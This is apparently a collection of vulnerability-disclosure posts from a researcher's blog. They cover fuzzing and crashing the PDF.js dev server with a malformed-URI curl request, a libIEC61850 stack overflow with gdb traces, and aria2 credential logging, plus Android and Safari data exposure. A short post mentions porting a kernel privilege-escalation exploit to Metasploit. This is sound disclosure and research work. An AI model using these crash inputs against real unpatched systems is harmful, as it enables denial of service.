<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI3tmP7zXG3OJId_whSiciiEGM1S2VpyLJgTTRDetKnxeRqXWufeEEpsaAtKWEStKFWjR8X1F-Ibz7U1cX-XSwLYq2dDDUj-fIumxFwrSfZbi4pK0KXYwyVktkW4ey1B_P9SIwfESdaVc/s1600/poc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="900" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI3tmP7zXG3OJId_whSiciiEGM1S2VpyLJgTTRDetKnxeRqXWufeEEpsaAtKWEStKFWjR8X1F-Ibz7U1cX-XSwLYq2dDDUj-fIumxFwrSfZbi4pK0KXYwyVktkW4ey1B_P9SIwfESdaVc/s400/poc.png" width="225" /></a></div>
<br />
I believe from a malicious attacker's perspective, the application still fails to prevent exposure of other applications which are being locked by Dr Safety, thus leaking such confidential information, which in my opinion is a concern.<br />
<br />
I went ahead and spent some time by analyzing the APK file and found <b>AppLockMain.xml</b> file can be responsible for this issue.<br />
<br />
<script src="https://gist.github.com/RootUp/68ef119985f772230f01f075b9c8fe22.js"></script><b>Recommendation:</b><br />
As a recommendation, I can suggest that when the user accesses the activity pane using the hardware/software buttons on the phone, the Dr. Safety app can detect if it's running in the background and use a screen overlay of it's own to mask the other applications which are being display in the activity pane.<br />
<br />
<b>Alternative applock:</b><br />
and guess what? there is an alternative app in playstore which also locks the recent app list (activity pane) in the same fashion which i mentioned above. So <a href="https://play.google.com/store/apps/details?id=com.symantec.applock&hl=en" target="_blank">Norton App Lock</a> from play store allows users to lock their activity pane also in such case the above attack scenario will be failed.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkLh3We-knrqd4vla3hnfVr2u_PMSfNPI8yaJAgdYalXduwxfJiM0hN7i9xoBizEfqvghtii_NFj4EBnMz8JpVWyXaPxa5US1-g_6SZckjPxb4YNmSeSNd-A9MpuZqEF7wLfAZsF4uDkA/s1600/PoC_Norton_AppLock.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1553" data-original-width="1430" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkLh3We-knrqd4vla3hnfVr2u_PMSfNPI8yaJAgdYalXduwxfJiM0hN7i9xoBizEfqvghtii_NFj4EBnMz8JpVWyXaPxa5US1-g_6SZckjPxb4YNmSeSNd-A9MpuZqEF7wLfAZsF4uDkA/s320/PoC_Norton_AppLock.png" width="294" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
Trend Micro security team left this issue unpatched and replied:<br />
<b>*</b> <i>User could easily clear all recent activities.</i><br />
<b>*</b> <i>On Android 7 and above, users could easily dismiss the ‘draw over other apps’ in status bar, so the page blocked ‘Recent’ will be dismissed. Thus, we could not provide this enhancement efficiently. </i><br />
<br />
I hope you like the read. <br />
<br />
<div style="text-align: right;">
Thank you</div>
<div style="text-align: right;">
<a href="http://twitter.com/mishradhiraj_" target="_blank">Dhiraj</a></div>
</div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-1173149556441579522019-01-21T00:25:00.001-08:002019-01-21T21:20:39.027-08:00Fuzzing HTTP Server (PDF.js)<div dir="ltr" style="text-align: left;" trbidi="on">
Hi Internet<br />
<br />
<b>Summary: </b>While fuzzing <a href="https://github.com/mozilla/pdf.js" target="_blank">Mozilla PDF.js</a> <del>a format string vulnerability</del>
it was observed that the development server used in PDF.js gets crash when a malformed URI(bad request) is sent.<br />
<br />
<b>PS:</b> The <a href="https://github.com/mozilla/pdf.js/pull/10304/commits/64cb8c6b982956da9cc41d0d61bbc4f98ab28ac1" target="_blank">patch</a> for the <a href="https://www.inputzero.io/2018/11/path-traversal-mozilla.html" target="_blank">path traversal bug</a> which was found perviously gave rise to this issue.<br />
<br />
I have used <a href="https://boofuzz.readthedocs.io/en/latest/index.html" target="_blank">boofuzz</a> in the case to fuzz PDF.js, boofuzz is a fork of and the successor to the venerable sulley fuzzing framework, for installation you can simply use pip.<br />
<br />
<b>pip install boofuzz</b><br />
<br />
Then,<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco""fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 80%;"><code><code style="color: black; word-wrap: normal;">session = Session(
target=Target(
connection=SocketConnection("127.0.0.1", 8888, proto='tcp')))
</code></code></pre>
In boofuzz each message starts with an <i>s_initialize()</i><br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco""fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 80%;"><code><code style="color: black; word-wrap: normal;">s_initialize(name="Request")
with s_block("Request-Line"):
s_group("Method", ['GET'])
s_string("/", name='Request-URI')
s_string('HTTP/1.1', name='HTTP-Version')
</code></code></pre>
Vulnerable code in PDF.js (<a class="link-gray-dark" href="https://github.com/timvandermeij/pdf.js/commit/6279fc601a3fd1db969a98feb23c1cb661f68bea?diff=unified#diff-033a37ddd3e3399f586b37ce6167bf3e" style="box-sizing: border-box; caret-color: rgb(36, 41, 46); color: rgb(36, 41, 46) !important; font-family: SFMono-Regular, Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12px; text-decoration: none;" title="test/webserver.js">webserver.js</a>):<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco""fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 80%;"><code><code style="color: black; word-wrap: normal;"> _handler: function (req, res) {
var url = req.url.replace(/\/\//g, '/');
var urlParts = /([^?]*)((?:\?(.*))?)/.exec(url);
// guard against directory traversal attacks,
// e.g. /../../../../../../../etc/passwd
// which let you make GET requests for files outside of this.root
<b>var pathPart = path.normalize(decodeURI(urlParts[1]));</b>
</code></code></pre>
If you see the bold part of the above code the PDF.js did not have any guard for malformed URI sent in various methods.<br />
<br />
However, the fuzzer ran for an hour and it was observed that the HTTP server of PDF.js can't handle malformed strings and server gets crash. While fuzzing with boofuzz its better to start Wireshark on '<b>lo</b>' to see all the fuzzed request which are sent to the server. I found <i>/%s%s%s </i>was used in this case.<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco""fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 80%;"><code><code style="color: black; word-wrap: normal;">curl -v -X GET 127.0.0.1:8888/%s%s%s
</code></code></pre>
The PDF.js server gets crash and below traces are left.<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco""fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 80%;"><code><code style="color: black; word-wrap: normal;">Server running at http://localhost:8888/
[12:16:22] 'server' errored after 1.01 h
[12:16:22] URIError: URI malformed
at decodeURI (<anonymous>)
at WebServer._handler (/Users/Dhiraj/Desktop/pdf.js/test/webserver.js:86:35)
at Server.emit (events.js:188:13)
at Server.EventEmitter.emit (domain.js:459:23)
at parserOnIncoming (_http_server.js:676:12)
at HTTPParser.parserOnHeadersComplete (_http_common.js:113:17)
</anonymous></code></code></pre>
However, the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1519031" target="_blank">bug</a> was submitted to Mozilla and a patch was deployed for same.<br />
<br />
Patch code in PDF.js (<a class="link-gray-dark" href="https://github.com/timvandermeij/pdf.js/commit/6279fc601a3fd1db969a98feb23c1cb661f68bea?diff=unified#diff-033a37ddd3e3399f586b37ce6167bf3e" style="box-sizing: border-box; color: #24292e; font-size: 12px; text-decoration: none;" title="test/webserver.js">webserver.js</a>):<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco""fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 80%;"><code><code style="color: black; word-wrap: normal;"> try {
// Guard against directory traversal attacks such as
// `/../../../../../../../etc/passwd`, which let you make GET requests
// for files outside of `this.root`.
var pathPart = path.normalize(decodeURI(urlParts[1]));
} catch (ex) {
// If the URI cannot be decoded, a `URIError` is thrown. This happens for
// malformed URIs such as `http://localhost:8888/%s%s` and should be
// handled as a bad request.
res.writeHead(400);
res.end('Bad request', 'utf8');
return;
}
var queryPart = urlParts[3];
var verbose = this.verbose;</code></code></pre>
If you are a mozillian and you like my work towards PDF.js, don't hesitate to vouch me <b>:)</b> Hope you like the read.<br />
<a href="https://mozillians.org/en-US/u/Dhiraj_Mishra/">https://mozillians.org/en-US/u/Dhiraj_Mishra/</a><br />
<br />
<div style="text-align: right;">
Thank you</div>
<div style="text-align: right;">
<a href="https://twitter.com/mishradhiraj_" target="_blank">Dhiraj</a></div>
</div>Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-87073835961336117192019-01-15T05:59:00.003-08:002019-01-20T23:15:12.844-08:00I swiped right<div dir="ltr" style="text-align: left;" trbidi="on">
Hi Internet,<br />
<br />
<b>Summary:</b> By using multi-gesture trackpad along with Safari browser in MacBook Pro, one can view sensitive data which is cached in your Safari browser. <b>(Note: </b>This is not a back button browsing vulnerability<b>)</b><br />
<br />
I figured out this issue while playing around with Safari browser, looks like the most recent activity of any authenticated or un-authenticated website is stored in cache of Safari browser and by taking the advantage of multi-gesture trackpad we can retrieve any or all information about that activity.<br />
<br />
Looks like Apple provides a feature in trackpad which allows users to swipe between the pages or applications. It also allows you to tap, swipe, pinch, or spread one or more fingers to perform useful actions but seems they forgot to add some security measures in this.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEZX7Z3ibAUr5RcMumiskEFGCyj6a_4wnW420L6FueNvB0HgzBwR2zKbVvBpxC4sWudQnpshgUYKKhpGFGLHZwJZiXCA0hOIfHTFLa-UBedF09Uq4q_y_Kh33sBXiog6PkWxYbKY_P1-c/s1600/macOS.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1044" data-original-width="1339" height="311" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEZX7Z3ibAUr5RcMumiskEFGCyj6a_4wnW420L6FueNvB0HgzBwR2zKbVvBpxC4sWudQnpshgUYKKhpGFGLHZwJZiXCA0hOIfHTFLa-UBedF09Uq4q_y_Kh33sBXiog6PkWxYbKY_P1-c/s400/macOS.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Trackpad settings</td></tr>
</tbody></table>
<b><br /></b>
<b>Steps to reproduce:</b><br />
1. Open safari browser (v12.0.2 (14606.3.4) was used in this case)<br />
2. Login to any dynamic website (I've used www.gmail.com)<br />
3. Perform your dynamic activity<br />
4. Logout (But don't close your safari browser)<br />
5. Now swipe right<br />
<br />
You would actually see your recent data, between the pages. I've also created a video proof-of-concept for same.<br />
<b><br /></b>
<b>Apple says: </b>After reviewing your report we do not see any actual security implications. (I think this was the lamest vendor response).<br />
<br />
<iframe align="center" allow="autoplay; encrypted-media" allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/XjkqU3wyfGc" width="560"></iframe><br />
<br />
But, I feel like this is an interesting issue which can be exploited by local attacker. Also this only works with safari browser. I hope you like the read.<br />
<br />
<div style="text-align: right;">
Thank you</div>
<div style="text-align: right;">
<a href="https://twitter.com/mishradhiraj_" target="_blank">Dhiraj</a></div>
</div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-63507342145748630762019-01-06T03:22:00.000-08:002019-01-06T03:22:11.328-08:00Metadata and potential password leak in aria2<div dir="ltr" style="text-align: left;" trbidi="on">
Hi Internet,<br />
<br />
<b>Summary:</b> <a href="https://github.com/aria2/aria2" target="_blank">aria2</a> is a lightweight multi-protocol command-line utility, which store's "HTTP Basic Authentication" username and password in a file when `--log` attribute is used.<br />
<br />
This issue was observed while performing the code review of aria2, However the file <a href="https://github.com/aria2/aria2/blob/37368130ca7de5491a75fd18a20c5c5cc641824a/src/HttpConnection.cc" target="_blank">HttpConnection.cc</a> was responsible for this issue, below is the vulnerable code :<br />
<br />
<script src="https://gist.github.com/RootUp/265cfec5a13aeb7bc8350672ff386d14.js"></script>
<b>1.</b> It was observed that URL's which gets downloaded via `--log=` attribute stored sensitive information.<br />
<b>2.</b> In combination with HTTP authentication a username and password can be part of the URL.<br />
`aria2c --log=file https://user:passwd@example.com/`<br />
<br />
In such case the log file contains password as well, sometimes URL's may contain secret tokens, e.g. private file shared on a file hosting service. In general storing metadata at unexpected places should be avoided, rest other utility like cURL was patched to this issue, it uses HTTP digest authentication mechanism for such case.<br />
<br />
Moving further this issue was <a href="https://github.com/aria2/aria2/commit/37368130ca7de5491a75fd18a20c5c5cc641824a" target="_blank">patched</a> and such information will be masked in latest versions of aria2. This is also similar to when URL of downloads gets stored via filesystem attributes on systems that support unix extended attributes. You can see these attributes on Linux systems by running <b>getfattr -d [filename]</b><br />
<br />
Later <a href="https://nvd.nist.gov/vuln/detail/CVE-2019-3500" target="_blank">CVE-2019-3500</a> was assigned to this issue, hope you like the read.<br />
<br />
<div style="text-align: right;">
Thank you</div>
<div style="text-align: right;">
<a href="http://twitter.com/mishradhiraj_" target="_blank">Dhiraj</a></div>
</div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-20359839659689307002018-11-23T23:20:00.001-08:002018-11-23T23:20:30.169-08:00Path traversal in mozilla pdf.js<div dir="ltr" style="text-align: left;" trbidi="on">
Hi Internet,<br />
<br />
<b>Summary:</b> A path traversal issue was observed in <a href="https://github.com/mozilla/pdf.js" target="_blank">Mozilla PDF.js</a> <span class="text-gray-dark mr-2" itemprop="about">which is a PDF reader in JavaScript. (This issue is unpatched)</span><br />
<br />
This issue was observed while code review of PDF.js (<a href="https://github.com/mozilla/pdf.js/blob/master/gulpfile.js" target="_blank">gulpfile.js</a>)<br />
<br />
<script src="https://gist.github.com/RootUp/189645808a9e8a51fa36af7bdfde70af.js"></script>
<span class="text-gray-dark mr-2" itemprop="about">PDF.js is built into version 19+ of firefox and a chrome extension is also available on <a href="https://chrome.google.com/webstore/detail/pdf-viewer/oemmndcbldboiebfnladdacbdfmadadm" target="_blank">chrome web store</a>. To install and get a local copy of PDF.js here are the below steps :</span><br />
<br />
<script src="https://gist.github.com/RootUp/48172abd9abb9b1f6eca077c68869de6.js"></script>Then navigate to http://127.0.0.1:8888/<br />
<br />
<script src="https://gist.github.com/RootUp/5b881250e16a6ac2422c2c3e9631bc39.js"></script>
I've used the attribute --path-as-is from cURL to verify this issue.<br />
<br />
<script src="https://gist.github.com/RootUp/baeae9900a1bf1cff961548d7d230802.js"></script>
This was <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1505558" target="_blank">reported</a> to mozilla via bugzilla but team says "The server with pdf.js is intended to be a development server and should not be exposed to public networks. I suppose we could update the docs to state that." and a upstream issue was filed against this[<a href="https://github.com/mozilla/pdf.js/issues/10249" target="_blank">1</a>]. <br />
<br />
<div style="text-align: right;">
Thank you</div>
<div style="text-align: right;">
<a href="http://twitter.com/mishradhiraj_" target="_blank">Dhiraj</a></div>
</div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-63420730269655217832018-11-11T23:53:00.001-08:002018-11-18T21:48:54.292-08:00null-pointer dereference in poppler library - CVE-2018-19149<div dir="ltr" style="text-align: left;" trbidi="on">
Hi Internet,<br />
<br />
<b>Summary:</b> While fuzzing <a href="https://gitlab.gnome.org/GNOME/evince" rel="nofollow" target="_blank">evince</a> v3.28.4, on linux 4.15.0-38-generic (Ubuntu 18.04
LTS), a null-pointer dereference was observed, initially this was
reported to evince but the evince team advised that the issue is in
poppler, the library used by evince to render PDF, poppler version:
0.62.0-2ubuntu2.2 is vulnerable to null-pointer dereference, however the
issue is already fixed in poppler 0.70, but this will still crash your
evince v3.28.4 if poppler is not updated to v.0.70. Fuzzing result
showing a very important vulnerability in a package currently shipped by
a major Linux distribution is still of interest, even if that Linux
distribution does not package the latest released upstream version.<br />
<br />
Initially, I started fuzzing with evince which is a document reader which comes by default with most of the linux distribution. Also created a malformed PDF files to provide input to AFL, after a successfully compile of evince with <a href="https://github.com/mcarpenter/afl/blob/master/afl-gcc.c" target="_blank">afl-gcc</a>, the final command was,<br />
<br />
<script src="https://gist.github.com/RootUp/a8ad920d875fba0a4a25134450aa44a4.js"></script>It took three days to get 21 crashes in which 6 unique crashes where observed, while analyzing the crash with <a href="https://github.com/mcarpenter/afl/blob/master/experimental/crash_triage/triage_crashes.sh" rel="nofollow" target="_blank">triage_crashes</a> which is one of the component which comes with AFL for analyzing crashes, I observed a null-PTR.<br />
<br />
<script src="https://gist.github.com/RootUp/7ff7ceead4748933a18b08d562d3df11.js"></script>So basically a null-PTR is a type of error which causes a SIGSEGV, segmentation fault to the program, and this usually happens when a program or binary try to read or write to the memory with null-PTR.<br />
<br />
I went ahead and <a href="https://gitlab.gnome.org/GNOME/evince/issues/1024" rel="nofollow" target="_blank">reported</a> this to GNOME, because evince is one of there asset, the team says "<b>The issue is in Poppler, the library used by Evince to render PDF</b>" arggh!, so stupid am I, I taught `libpoppler-glib.so` is one of the shared object in evince but didn't know that <a href="https://gitlab.freedesktop.org/poppler/poppler/" target="_blank">poppler</a> is a PDF rendering library which comes by default in most of the PDF reader in linux distribution, and there is a standalone repo out there for poppler.<br />
<br />
Also, GNOME evince team says "<b>it seems it has already been addressed. See https://gitlab.freedesktop.org/poppler/poppler/merge_requests/93, Nevertheless, if the issue is still present, please file a bug in https://gitlab.freedesktop.org/poppler/poppler/</b>"<br />
<br />
Okay no worries, I still went ahead and file a bug in poppler, but the team over there asked me what poppler version am i using, and it was <b>version 0.62.0-2ubuntu2.2 </b>and they said the issue is already fixed in <b>poppler version 0.70</b> After I read this, I was like....<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXl_-HGFMzqZ4abAVb8wZ5FtBXJc0EsoRG7P2wQsZn8DIZTbFI76QdUcFw271cR3unVRtWNc1DlHrnnjQaVX9_gnf8GcWPRyCzzKUYw0UmvJIk4ykZ93_fgOLwQz5wWWDBygjcvFYPdi0/s1600/upset_meme.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="823" data-original-width="650" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXl_-HGFMzqZ4abAVb8wZ5FtBXJc0EsoRG7P2wQsZn8DIZTbFI76QdUcFw271cR3unVRtWNc1DlHrnnjQaVX9_gnf8GcWPRyCzzKUYw0UmvJIk4ykZ93_fgOLwQz5wWWDBygjcvFYPdi0/s320/upset_meme.jpg" width="252" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Img Src: https://knowyourmeme.com/photos/1189534-canada</td><td class="tr-caption" style="text-align: center;"><br /></td><td class="tr-caption" style="text-align: center;"><br /></td></tr>
</tbody></table>
Pheww!, does that mean, my three days of fuzzing just went = to 0 OR am I actually missing something over here ?<br />
<br />
I went back to the stack-trace read it again and also check whether am I fuzzing all the latest build of the binary for sure I was fuzzing the latest build of evince but not poppler. Hmmmmmm! I knew my fuzzing system was fully updated but still just to cross check, I did full apt-get update and upgrade but my poppler version remains the same all the time which is <b>0.62.0-2ubuntu2.2 </b>strange.<br />
<br />
<b></b>
I need a guidance over here, and didn't knew what to do ahead, so I contacted MITRE for this and went for a nap, they suggested - "<b>That a fuzzing result showing a very important vulnerability in a package currently shipped by a major Linux distribution is still of interest, even if that Linux distribution does not package the latest released upstream version. For example, an out-of-bounds write finding is still very useful in that case, but not out-of-bounds read, NULL pointer dereference,divide-by-zero, etc.</b>"<br />
<br />
Ohhh, I see so the latest version of poppler is still not shipped for most of the linux distribution out there, now i understood the entire concept, later MITRE also helped me by assigning a CVE to this issue which is <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19149" target="_blank">CVE-2018-19149</a> - Poppler before 0.70.0 has a NULL pointer dereference in _poppler_attachment_new when called from poppler_annot_file_attachment_get_attachment.<br />
<br />
An upstream bug is <a href="https://bugs.launchpad.net/ubuntu/+source/evince/+bug/1803059" target="_blank">filed</a> in Ubuntu launchpad to track this issue. <br />
<br />
<b>PS:</b> Its not about collecting CVE's, CVE's are just a reference number to an issue you can point for a vulnerability when you show case it somewhere, rather than pointing it to various post. (Personal opinion).<br />
<br />
<b>Lessons learned from this: </b><br />
1. I didn't know poppler is a library which is used by evince and other PDF reader to render PDF's.<br />
2. I understood how to create a malformed PDF to provide input to AFL while fuzzing.<br />
3. The reply from MITRE helped me to resolve my query.<br />
4. During all this, I also got my hands on hongfuzz <br />
<br />
Hope you like the read, view this on <a href="https://seclists.org/oss-sec/2018/q4/146" target="_blank">oss-security mailing list</a>.<br />
<br />
<br />
<div style="text-align: right;">
Thank you<br />
<a href="http://twitter.com/mishradhiraj_" rel="nofollow" target="_blank">Dhiraj</a></div>
</div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-50802937536853660782018-11-06T03:20:00.000-08:002018-11-06T03:20:08.132-08:00Fuzzing IEC 61850 protocol - CVE-2018-18957<div dir="ltr" style="text-align: left;" trbidi="on">
Hi Internet,<br />
<br />
<b>Summary:</b> While fuzzing(I've used AFL for this), a stack based buffer overflow was <a href="https://github.com/mz-automation/libiec61850/issues/83" target="_blank">found</a> in <a href="https://github.com/mz-automation/libiec61850" target="_blank">libIEC61850</a> (the open-source library for the <a href="https://en.wikipedia.org/wiki/IEC_61850" target="_blank">IEC 61850</a> protocols) in prepareGooseBuffer in <a href="https://github.com/mz-automation/libiec61850/blob/v1.3/src/goose/goose_publisher.c" target="_blank">goose/goose_publisher.c</a> and <a href="https://github.com/mz-automation/libiec61850/blob/074f7a8cd19b7661a59047e9257691df5470551c/hal/ethernet/linux/ethernet_linux.c" target="_blank">/linux/ethernet_linux.c</a><br />
<br />
<b>Steps to reproduce<code>:</code></b><code><code style="color: black; word-wrap: normal;">
</code></code><br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco""fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 80%;"><code><code style="color: black; word-wrap: normal;">$ ./goose_publisher_example crash_goosecr_stack_smash_overflow_aaaaaaaaa
Using interface crash_goosecr_stack_smash_overflow_aaaaaaaaa
*** stack smashing detected ***: <unknown> terminated
Aborted
$</unknown></code></code></pre>
File: <a href="https://uploadfiles.io/ezvja" target="_blank">crash_goosecr_stack_smash_overflow_aaaaaaaaa </a><br />
[This file will be expired after 30 days.]<br />
<br />
<b>Debugging:</b><code><code style="color: black; word-wrap: normal;">
</code></code><br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco""fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 80%;"><code><code style="color: black; word-wrap: normal;">(gdb) run crash_goosecr_stack_smash_overflow_aaaaaaaaa
Starting program:
/home/input0/Desktop/libiec61850/examples/goose_publisher/goose_publisher_example
crash_goosecr_stack_smash_overflow_aaaaaaaaa
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using interface crash_goosecr_stack_smash_overflow_aaaaaaaaa
*** stack smashing detected ***: <unknown> terminated
Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@...ry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
51 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0 __GI_raise (sig=sig@...ry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1 0x00007ffff7805801 in __GI_abort () at abort.c:79
#2 0x00007ffff784e897 in __libc_message (action=action@...ry=do_abort,
fmt=fmt@...ry=0x7ffff797b988 "*** %s ***: %s terminated\n")
at ../sysdeps/posix/libc_fatal.c:181
#3 0x00007ffff78f9cd1 in __GI___fortify_fail_abort
(need_backtrace=need_backtrace@...ry=false,
msg=msg@...ry=0x7ffff797b966 "stack smashing detected") at
fortify_fail.c:33
#4 0x00007ffff78f9c92 in __stack_chk_fail () at stack_chk_fail.c:29
#5 0x000055555555a211 in Ethernet_getInterfaceMACAddress
(interfaceId=0x7fffffffdeee "crash_goosecr_stack_smash_overflow_aaaaaaaaa",
addr=0x7fffffffd91c "k_smas\377\377") at
hal/ethernet/linux/ethernet_linux.c:170
#6 0x00005555555594ee in prepareGooseBuffer (self=0x5555557637d0,
parameters=0x7fffffffd9ac,
interfaceID=0x7fffffffdeee
"crash_goosecr_stack_smash_overflow_aaaaaaaaa") at
src/goose/goose_publisher.c:168
#7 0x0000555555559293 in GoosePublisher_create (parameters=0x7fffffffd9ac,
interfaceID=0x7fffffffdeee
"crash_goosecr_stack_smash_overflow_aaaaaaaaa") at
src/goose/goose_publisher.c:72
#8 0x0000555555555387 in main (argc=2, argv=0x7fffffffdaa8) at
goose_publisher_example.c:52
(gdb) i r
rax 0x0 0
rbx 0x7fffffffd6b0 140737488344752
rcx 0x7ffff7803e97 140737345765015
rdx 0x0 0
rsi 0x7fffffffd410 140737488344080
rdi 0x2 2
rbp 0x7fffffffd840 0x7fffffffd840
rsp 0x7fffffffd410 0x7fffffffd410
r8 0x0 0
r9 0x7fffffffd410 140737488344080
r10 0x8 8
r11 0x246 582
r12 0x7fffffffd6b0 140737488344752
r13 0x1000 4096
r14 0x0 0
r15 0x30 48
rip 0x7ffff7803e97 0x7ffff7803e97 <__gi_raise>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)</__gi_raise></unknown></code></code></pre>
<b>SRC:</b><br />
Snip : <a href="https://github.com/mz-automation/libiec61850/blob/v1.3/src/goose/goose_publisher.c#L72" target="_blank">src/goose/goose_publisher.c</a><code><code style="color: black; word-wrap: normal;">
</code></code><br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco""fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 80%;"><code><code style="color: black; word-wrap: normal;">{
GoosePublisher self = (GoosePublisher) GLOBAL_CALLOC(1, sizeof(struct sGoosePublisher));
prepareGooseBuffer(self, parameters, interfaceID);
self->timestamp = MmsValue_newUtcTimeByMsTime(Hal_getTimeInMs());
GoosePublisher_reset(self);
return self;
}</code></code></pre>
Snip: <a href="https://github.com/mz-automation/libiec61850/blob/v1.3/src/goose/goose_publisher.c#L168" target="_blank">src/goose/goose_publisher.c</a><code><code style="color: black; word-wrap: normal;">
</code></code><br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco""fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 80%;"><code><code style="color: black; word-wrap: normal;"> if (interfaceID != NULL)
Ethernet_getInterfaceMACAddress(interfaceID, srcAddr);
else
Ethernet_getInterfaceMACAddress(CONFIG_ETHERNET_INTERFACE_ID, srcAddr);</code></code></pre>
Snip: <a href="https://github.com/mz-automation/libiec61850/blob/074f7a8cd19b7661a59047e9257691df5470551c/hal/ethernet/linux/ethernet_linux.c" target="_blank">/linux/ethernet_linux.c</a><code><code style="color: black; word-wrap: normal;">
</code></code><br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco""fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 80%;"><code><code style="color: black; word-wrap: normal;">strcpy(buffer.ifr_name, interfaceId);</code></code></pre>
Later <a href="https://nvd.nist.gov/vuln/detail/CVE-2018-18957" target="_blank">CVE-2018-18957</a> was assigned to this issue, Read this on <a href="https://www.openwall.com/lists/oss-security/2018/11/06/1" target="_blank">oss-security</a>.<br />
<br />
<br />
<div style="text-align: right;">
Thank you<br /><a href="http://twitter.com/mishradhiraj_" target="_blank">Dhiraj</a><br /> </div>
<b> </b></div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-3057421138246107222018-10-18T13:19:00.000-07:002018-10-18T13:19:22.895-07:00Porting CVE-2018-8120 to an MSF module<div dir="ltr" style="text-align: left;" trbidi="on">
Hi Internet,<br />
<br />
#Shortpost<br />
I have added the support of CVE-2018-8120 to MSF module, before porting this to MSF I read through the analysis of the issue. <br />
<br />
After reading the blog post of <a href="https://xiaodaozhi.com/exploit/156.html" target="_blank">xiaodaozhi</a> I understood CVE-2018-8120 happens because of a null pointer dereference in the win32k kernel module at start this would lead to BSOD in vulnerable systems, however the exploit code was written in such a fashion that would override the function pointer which is present in kernel mode that achieves escalation of privilege to the remote or your local system.<br />
<br />
It took me a while to port this to an MSF module also I would like to thank MSF team for there review's done during that time, at last this was successfully ported and landed!<br />
<br />
